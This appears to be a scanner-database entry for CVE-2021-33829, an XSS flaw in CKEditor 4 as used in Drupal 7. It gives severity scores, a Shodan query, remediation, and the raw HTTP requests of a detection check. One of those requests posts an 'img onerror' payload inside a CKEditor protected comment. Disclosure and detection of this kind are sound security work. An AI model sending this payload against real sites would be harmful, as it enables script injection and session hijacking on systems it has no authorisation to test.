| Title | Drupal 7 CKEditor XSS |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in the context of the victim's browser, leading to session hijacking or malicious actions. |
| Remediation | Update to version 4.16.1 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.47617 |
| CVE ID | CVE-2021-33829 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:ckeditor:ckeditor" |
| Tags | cve cve2021 drupal ckeditor xss authenticated |
CKEditor 4.14.0 through 4.16.x before 4.16.1 contains a reflected cross-site scripting caused by mishandling in comments, letting remote attackers inject executable JavaScript code, exploit requires victim to view malicious content.
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=iYVbqz&pass=jzd259&form_id=user_login&op=Log+in
GET /node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 239
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
title=XSSTest&body[und][0][value]=<!--{cke_protected}--><img src=x onerror=alert(document.domain)>&body[und][0][format]=full_html&changed=&form_build_id=hP26qq&form_token=TaIL9C&form_id=page_node_form&status=1&comment=1&name=iYVbqz&op=Save
GET /0lTqA3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33829.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33829.pcap
N/AN/A